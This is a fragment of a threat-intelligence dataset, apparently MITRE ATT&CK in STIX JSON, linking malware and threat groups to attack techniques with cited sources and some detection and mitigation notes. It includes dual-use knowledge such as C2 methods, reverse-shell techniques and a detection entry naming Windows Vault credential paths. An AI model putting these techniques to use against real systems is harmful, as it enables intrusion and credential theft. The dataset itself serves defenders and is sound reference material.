["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--185c194a-5823-46e4-9719-9de48c3c1734", "type": "relationship", "created": "2019-06-25T14:09:38.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-02-23T20:13:08.629Z", "description": "Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1865774d-02c8-4c0d-b6a7-32f196819740", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Enable CryptoAPI v2 (CAPI) event logging\u00a0(Citation: Entrust Enable CAPI2 Aug 2017)\u00a0to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). 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(2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--186ee163-fb1f-4a7d-b7d9-3c01efbb2be0", "type": "relationship", "created": "2019-06-05T13:57:44.701Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NJCCIC Ursnif Sept 2016", "url": "https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif", "description": "NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019."}, {"source_name": "ProofPoint Ursnif Aug 2016", "url": "https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality", "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}], "modified": "2019-06-24T16:46:20.366Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) has used [Tor](https://attack.mitre.org/software/S0183) for C2.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--18714758-e6ea-4f61-87c9-6340c0001b9c", "type": "relationship", "created": "2020-07-27T20:02:42.985Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender StrongPity June 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}], "modified": "2020-07-27T20:02:42.985Z", "description": "\n[StrongPity](https://attack.mitre.org/software/S0491) has used HTTPS over port 1402 in C2 communication.(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--18730396-0ac8-4013-8d5c-5f23b29d3efe", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for newly constructed user accounts, such as userIDs under 500 on macOS, that may mask the presence of user accounts they create or modify.", "source_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d", "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1873a6d4-fc01-4fd5-aa85-ded977998eab", "created": "2022-04-07T18:01:12.329Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. 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Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) has relied on a victim to open a malicious attachment within an email for execution.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Confucius APT Jan 2021)", "modified": "2022-06-30T20:15:32.698Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--18771b0e-2d4b-4f76-ae1e-9cdac1c77cd0", "type": "relationship", "created": "2020-06-26T14:21:13.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Retrieved November 20, 2020."}], "modified": "2020-11-24T21:27:55.074Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript for drive-by downloads and C2 communications.(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1878edcb-e458-494c-81a5-34d8a0390957", "type": "relationship", "created": "2021-10-07T21:28:23.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. 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Retrieved October 5, 2021."}], "modified": "2021-10-19T00:43:30.256Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses AppleScript to check the host's language and location with the command <code>user locale of (get system info)</code>.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1879905d-a4f6-43a7-aafe-a7e436e5c559", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Operation Groundbait", "description": "Cherepanov, A.. (2016, May 17). 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Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.355Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use [ipconfig](https://attack.mitre.org/software/S0100) and [Arp](https://attack.mitre.org/software/S0099) to collect network configuration information, including routing information and ARP tables.(Citation: Antiy CERT Ramsay April 2020)", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1888d04c-e3ba-47bc-adb3-ab8066678772", "type": "relationship", "created": "2020-03-25T13:56:40.804Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99", "description": "Hayashi, K. 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(2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}, {"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. 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Retrieved September 5, 2019.", "url": "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/"}, {"source_name": "LOLBAS Esentutl", "description": "LOLBAS. (n.d.). Esentutl.exe. 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(2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/", "source_name": "Unit42 BabyShark Apr 2019"}, {"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}], "modified": "2020-11-06T19:54:38.579Z", "description": "[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.(Citation: Unit42 BabyShark Apr 2019)(Citation: CISA AA20-301A Kimsuky)", "relationship_type": "uses", "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--18d99703-bb5c-4d69-86c5-bff909730bc0", "created": "2022-03-30T14:26:51.876Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes The Windows Vault", "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/", "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring file reads to Vault locations, <code>&percnt;Systemdrive&percnt;&bsol;Users&bsol;&bsol;&lsqb;Username&rsqb;&bsol;AppData&bsol;Local&bsol;Microsoft&bsol;&bsol;&lsqb;Vault&sol;Credentials&rsqb;&bsol;</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)", "modified": "2022-05-20T17:36:17.298Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--18da48c9-a1aa-4d13-b1b1-bd1a78e07c61", "created": "2023-09-06T14:24:16.098Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Sardonic Aug 2021", "description": "Budaca, E., et al. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:37:09.399Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect information about anti-virus software on the victim.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1991b422-2f89-4b90-9cea-7c34919eec05", "type": "relationship", "created": "2022-03-24T20:26:35.602Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. 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(2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. 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Retrieved July 22, 2020."}], "modified": "2020-07-22T19:16:02.883Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) can steal saved usernames and passwords in Chrome as well as credit card credentials.(Citation: Unit42 CookieMiner Jan 2019)", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19c0c01d-5f43-4a4d-8385-0862f6b1bf78", "type": "relationship", "created": "2020-05-26T21:02:38.352Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Netwalker May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}, {"source_name": "Sophos Netwalker May 2020", "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}], "modified": "2020-05-27T22:05:32.146Z", "description": "[Netwalker](https://attack.mitre.org/software/S0457) can detect and terminate active security software-related processes on infected systems.(Citation: TrendMicro Netwalker May 2020)(Citation: Sophos Netwalker May 2020)", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19c33297-1efd-4489-b09c-a4230ce194f4", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). 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Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2019-05-03T16:44:41.833Z", "description": "[Sys10](https://attack.mitre.org/software/S0060) uses an XOR 0x1 loop to encrypt its C2 domain.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19ca041f-64be-42f8-9ed1-361410a4c28b", "type": "relationship", "created": "2021-08-04T19:47:11.050Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved August 4, 2021."}], "modified": "2021-08-04T19:47:11.050Z", "description": "[NativeZone](https://attack.mitre.org/software/S0637) can display an RTF document to the user  to enable execution of  [Cobalt Strike](https://attack.mitre.org/software/S0154) stage shellcode.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19cc1620-de41-4076-b5b8-9d64364a578a", "type": "relationship", "created": "2020-06-26T17:48:54.913Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BackConfig May 2020", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-06-26T17:55:45.067Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used BITS jobs to download malicious payloads.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19dba754-be06-40ab-a11d-96ef1cb20eff", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19df36ab-4da3-4077-8b83-6066a546f2e2", "type": "relationship", "created": "2022-03-07T23:00:16.309Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Peirates GitHub", "url": "https://github.com/inguardians/peirates", "description": "InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}], "modified": "2022-03-07T23:00:16.309Z", "description": "[Peirates](https://attack.mitre.org/software/S0683) can gain a reverse shell on a host node by mounting the Kubernetes hostPath.(Citation: Peirates GitHub)", "relationship_type": "uses", "source_ref": "tool--79dd477a-8226-4b3d-ad15-28623675f221", "target_ref": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19e0594c-c5b4-45c8-926e-ae884164d294", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). 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Retrieved September 16, 2019."}], "modified": "2020-03-17T01:52:57.726Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) uses HTTPS for C2.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--19e06de9-b9a1-4532-94c6-f729036ba0c3", "type": "relationship", "created": "2021-09-07T20:58:44.390Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint Dridex Jan 2021", "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", "description": "Check Point Research. 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(2016, April 17). Bloodhound: Six Degrees of Domain Admin. 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Retrieved March 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used implants to collect the system language ID of a compromised machine.(Citation: Microsoft NICKEL December 2021)", "modified": "2022-04-11T18:52:50.235Z", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1a163c8a-7a12-4cd4-813f-38f5a05ba98d", "created": "2021-03-10T20:32:54.423Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Proofpoint TA453 March 2021", "url": "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential", "description": "Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021."}, {"source_name": "IBM ITG18 2020", "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has established email accounts using fake personas for spearphishing operations.(Citation: IBM ITG18 2020)(Citation: Proofpoint TA453 March 2021)", "modified": "2022-04-15T11:50:11.523Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1a192f9a-d515-4d5c-9c52-e904bac96f61", "created": "2022-02-02T13:03:25.547Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", "description": "Beek, C. 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Retrieved September 22, 2022.", "url": "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-22T18:38:45.522Z", "description": "For [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) hosted malicious documents on domains registered by the group.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022) ", "relationship_type": "uses", "source_ref": "campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac", "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1a28d78a-d11b-466a-977f-19d2e88c1952", "created": "2024-03-25T18:35:57.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) has the ability to use DNS for C2 communications.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)(Citation: Accenture Lyceum Targets November 2021)", "modified": "2022-06-16T14:09:14.543Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1a2f3d08-8a75-4ad5-8aba-445d37ebbff8", "type": "relationship", "created": "2021-04-12T16:05:57.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry Bahamut", "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "description": "The BlackBerry Research & Intelligence Team. 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Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Flagpro](https://attack.mitre.org/software/S0696) can check whether the target system is using Japanese, Taiwanese, or English through detection of specific Windows Security and Internet Explorer dialog.(Citation: NTT Security Flagpro new December 2021) ", "modified": "2022-04-13T19:56:42.403Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1a69dce6-b39e-4cd2-a29a-18e42293c51a", "type": "relationship", "created": "2020-03-09T14:29:52.125Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Default VBS macros Blocking ", "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805", "description": "Kellie Eickmeyer. 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(2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WIRTE](https://attack.mitre.org/groups/G0090) has sent emails to intended victims with malicious MS Word and Excel attachments.(Citation: Kaspersky WIRTE November 2021)", "modified": "2022-04-15T17:03:36.171Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 